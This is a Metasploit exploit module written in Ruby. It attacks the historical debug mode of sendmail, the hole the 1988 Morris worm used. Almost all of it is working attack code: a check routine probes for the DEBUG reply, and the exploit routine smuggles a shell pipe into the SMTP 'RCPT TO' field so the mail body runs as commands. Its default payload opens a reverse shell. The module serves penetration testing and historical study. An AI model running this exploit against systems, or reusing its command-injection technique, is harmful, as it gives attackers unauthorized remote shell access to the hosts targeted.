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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  # cmd/unix/reverse spams the session with Telnet codes on EOF
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  Rank = AverageRanking
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  include Msf::Exploit::Remote::Tcp
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  include Msf::Exploit::Remote::Expect
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  prepend Msf::Exploit::Remote::AutoCheck
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Morris Worm sendmail Debug Mode Shell Escape',
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        'Description' => %q{
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          This module exploits sendmail's well-known historical debug mode to
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          escape to a shell and execute commands in the SMTP RCPT TO command.
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          This vulnerability was exploited by the Morris worm in 1988-11-02.
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          Cliff Stoll reports on the worm in the epilogue of The Cuckoo's Egg.
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          Currently, only cmd/unix/reverse and cmd/unix/generic are supported.
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        },
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        'Author' => [
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          'Robert Tappan Morris', # Exploit and worm for sure
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          'Cliff Stoll',          # The Cuckoo's Egg inspiration
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          'wvu'                   # Module and additional research
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        ],
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        'References' => [
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          ['URL', 'https://en.wikipedia.org/wiki/Morris_worm'],         # History
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          ['URL', 'https://spaf.cerias.purdue.edu/tech-reps/823.pdf'],  # Analysis
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          ['URL', 'https://github.com/arialdomartini/morris-worm'],     # Source
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          ['URL', 'http://gunkies.org/wiki/Installing_4.3_BSD_on_SIMH'] # Setup
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        ],
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        'DisclosureDate' => '1988-11-02',
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        'License' => MSF_LICENSE,
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        'Platform' => 'unix',
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        'Arch' => ARCH_CMD,
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        'Privileged' => false, # DefUid in src/conf.c, usually "daemon"
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        'Payload' => { 'Compat' => { 'RequiredCmd' => 'generic telnet' } },
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        'Targets' => [
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          # https://en.wikipedia.org/wiki/Source_Code_Control_System
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          ['@(#)version.c       5.51 (Berkeley) 5/2/86', {}]
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        ],
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        'DefaultTarget' => 0,
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        'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' },
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options([Opt::RPORT(25)])
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    register_advanced_options([
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      OptFloat.new('ExpectTimeout', [true, 'Timeout for Expect', 3.5])
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    ])
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  end
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  def check
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    checkcode = CheckCode::Safe
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    connect
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    res = sock.get_once
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    return CheckCode::Unknown unless res
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    if res =~ /^220.*Sendmail/
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      checkcode = CheckCode::Detected
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    end
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    sock.put("DEBUG\r\n")
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    res = sock.get_once
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    return checkcode unless res
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    if res.start_with?('200 Debug set')
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      checkcode = CheckCode::Appears
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    end
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    checkcode
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  rescue EOFError, Rex::ConnectionError => e
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    vprint_error(e.message)
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    CheckCode::Unknown
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  ensure
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    disconnect
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  end
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  def exploit
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    # We don't care who the user is, so randomize it
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    from = rand_text_alphanumeric(8..42)
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    # Strip mail headers with sed(1), pass to sh(1), and ensure a clean exit
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    to = %("| sed '1,/^$/d' | sh; exit 0")
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    # We don't have $PATH, so set one
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    path = '/bin:/usr/bin:/usr/ucb:/etc'
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    sploit = {
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      nil => /220.*Sendmail/,
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      'DEBUG' => /200 Debug set/,
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      "MAIL FROM:<#{from}>" => /250.*Sender ok/,
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      "RCPT TO:<#{to}>" => /250.*Recipient ok/,
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      'DATA' => /354 Enter mail.*itself/,
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      # Indent PATH= so it's not interpreted as a mail header
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      " PATH=#{path}" => nil,
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      'export PATH' => nil,
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      payload.encoded => nil,
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      '.' => /250 Ok/,
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      'QUIT' => /221.*closing connection/
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    }
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    print_status('Connecting to sendmail')
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    connect
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    print_status('Enabling debug mode and sending exploit')
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    sploit.each do |line, pattern|
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      send_expect(
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        line,
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        pattern,
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        sock: sock,
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        timeout: datastore['ExpectTimeout'],
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        newline: "\r\n"
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      )
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    end
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  rescue Rex::ConnectionError => e
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    fail_with(Failure::Unreachable, e.message)
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  rescue Timeout::Error => e
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    fail_with(Failure::TimeoutExpired, e.message)
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  ensure
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    disconnect
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  end
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  def on_new_session(session)
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    print_warning("Do NOT type `exit', or else you may lose further shells!")
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    print_warning('Hit ^C to abort the session instead, please and thank you')
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  end
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end
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